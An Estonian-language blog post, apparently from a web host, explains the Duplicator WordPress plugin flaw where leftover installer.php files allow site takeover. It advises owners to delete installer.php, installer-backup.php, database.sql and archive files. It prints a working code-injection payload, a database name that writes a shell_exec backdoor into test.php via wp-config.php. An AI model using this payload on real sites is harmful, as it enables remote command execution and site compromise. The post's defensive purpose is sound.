Vahel ei ole ka uuendamisest abi ehk Duplicator ja installer.php

Tuntud mantra kohaselt aitab veebirakendust turvalisena hoida sage uuendamine. Järgimist väärt soovitus, aga paraku leiab ka haavatavusi, mille puhul uuendamisest kohe üldse mitte kasu ei ole.

Duplicator – plugin, mis lubab WordPressi mugavalt kokku pakkida ja teises serveris uuesti paigaldada – on täpselt selline juhtum.

Kiire kokkuvõte: veendu, et sinu veebi juurkataloogi pole jäänud installer.php või installer-backup.php faili (näiteks tippides oma veebi-aadressi sappa: http://firmanimi.eu/installer.php). Kui on, siis korralda kohene kustutamine.
Ääremärkus: kõigil Zones majutatud lehtedel keelasime neile failidele ligipääsu, kustutamiseks on vaja eelnevalt failiõigused paika seada; juhis allpool.

Maasikaks tordi peal on sedapuhku see, et tegemist on 10+ MILJONIT korda paigaldatud pluginaga. Või õigupoolest: …see tort ainult (pahadest) maasikatest koosnebki:

  • tegemist on pluginaga, millel väidetavasti 10+ miljonit paigaldust;
  • esimesed ründed (sh Eestis) mõni nädal pärast paiga ja probleemikirjelduse avaldamist;
  • see ei ole neil esimene turvaprobleem;
  • paik kõrvaldab ühe ründeviisi, aga jätab alles teise võimaluse;
  • ükski paik ei kõrvalda Duplicatori kasutamise järel kustutamata jäänud installer.php ja installer-backup.php faile;
  • need failid võivad alles olla ka veebis, milles pluginat ennast enam ammu pole;
  • lisaks installerile võib veebis vedeleda ka andmebaas database.sql (saab kasutada nt admin-kasutaja parooli murdmiseks) ja kogu veebirakenduse arhiiv (mille nime installer.php reedab)
  • probleemi avastaja kirjeldab ründemeetodit täpsusega, mis võimaldab seda sisuliselt copy-paste meetodil kasutusele võtta (muuhulgas näeme rünnetes test.php faile);
  • tuntud veebiturvapakkuja blogipostitusest jääb mulje, et eelnevale vaatamata pole nad päris täpselt aru saanud, kuidas rünne töötab ja miks wp-config.php katki kipub minema.

Ehk siis… see maasikas on veidi “sedapsi”:

Mida Duplicator teeb?

Tegemist on WordPressi pluginaga, mis lubab olemasoleva veebi (nt veebiarendaja testserveris oleva) kokku pakkida, mille tulemuseks on üks suur arhiiv kõigi failide ja andmebaasi-sisuga ning installer.php skript.

Need saab lihtsa vaevaga uude serverisse üles laadida ning seejärel tippides veebiaadressi sappa installer.php ilma tehniliste teadmisteta seal ka lahti pakkida, vajadusel koos domeeninime muutmisega:

Paigaldamise järel jäävad aga serverisse alles nii installer, selle varukoopia kui ka arhiivist lahti pakitu:

Kuidas rünnatakse?

Kuna maha unustatud installer.php saab käivitada igaüks, siis võiks näiteks sisestada oma kontrolli all oleva andmebaasiserveri andmed ning paigalduse järel saaks seal admin-kasutaja parooli ära vahetada. Ja seejärel võib juba sobiliku tagaukse paigaldada, nt pluginana:

AGA! Duplicator kirjutab siia sisestatud andmed kenasti wp-config.php faili, misjärel on võimalik teha eriti labane koodisüst, pannes andmebaasi nimeks jupi koodi:

test');
file_put_contents("test.php", '<pre><?php if (isset($_GET["synacktiv_backdoor"])) { echo shell_exec($_GET["synacktiv_backdoor"]); } ?></pre>'); /*

Nüüd näeb wp-config.php välja selline:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'test'); 
file_put_contents("test.php", '<pre><?php if (isset($_GET["synacktiv_backdoor"])) { echo shell_exec($_GET["synacktiv_backdoor"]); } ?></pre>'); /*');

/** MySQL database username */
define('DB_USER', 'test');

/** MySQL database password */
define('DB_PASSWORD', 'test');

/** MySQL hostname */
define('DB_HOST', 'nowhere:12345');

… ja pöördudes korra otse wp-config.php poole (minu näidise puhul https://dupdup.local/wp-config.php), tekib samasse fail test.php, mis toimib lihtsa tagauksena (näide käsuga ls , mis kuvab veebi juurkataloogi sisu):

Loomulikult on selle käigus tehtud katki ka wp-config.php ja veebikülastajad näevad andmebaasi-ühenduse veateadet:

Kuidas ennast kaitsta?

Kui oled veebiarendajana (või -omanikuna) kunagi Duplicator’it kasutanud veebi kolimiseks, siis leia see aeg, et kõik varasemad projektid üle kontrollida ja eemalda veebi juurkataloogi jäänud installer.php, installer-backup.php, database.sql ja arhiivifail.

Kontrollimine on lihtne ja selleks pole isegi vaja FTP-ligipääsu: pannes falinime oma veebiaadressi sappa (nt: http://firmanimi.eu/installer.php), peaks kuvatama Error 404 ehk “lehte ei leitud” teadet. Kui avaneb ülal näha olev Duplicator’i dialoog, siis on väga pahasti.

Paha ei tee ka veidi põhjalikum veebiserveris ringivaatamine, sest sageli vedeleb seal kataloogides /vana või /new veebilehe erinevaid (paikamata ja kohati ka nõrga adminparooliga) versioone, näiteks test.php, mis kuvab serveri-infot jpm tarbetut kola, mis võib kellegi jaoks osutuda väärt turvaprobleemiks.

Zone kliendid on kaitstud

Zones majutatud veebidele lasid meie adminnid peale roboti, mis keelas kõigi Duplicator’i installer*.php failide lugemise (chmod 0x000), sest kliendi faile me ära kustutada ei tahaks. Kui probleemsed failid sinu veebis olemas, siis näed meil sellist veateadet:

… ja failide kustutamiseks pead FTP-programmis paremklõpsama failinimel ning andma kasutajale Read ja Write õigused: